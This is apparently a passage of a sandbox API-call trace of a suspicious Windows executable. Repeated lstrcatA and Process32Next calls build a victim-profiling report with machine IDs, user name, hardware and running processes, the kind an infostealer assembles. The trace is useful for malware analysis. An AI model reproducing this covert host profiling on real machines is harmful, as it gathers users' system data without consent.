{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- "
[0054.864] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- ", lpString2="shot bank.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe"
[0054.864] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe ["
[0054.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da48
[0054.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d988
[0054.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.864] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [", lpString2="384" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384"
[0054.864] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n"
[0054.864] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="property.exe")) returned 1
[0054.865] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 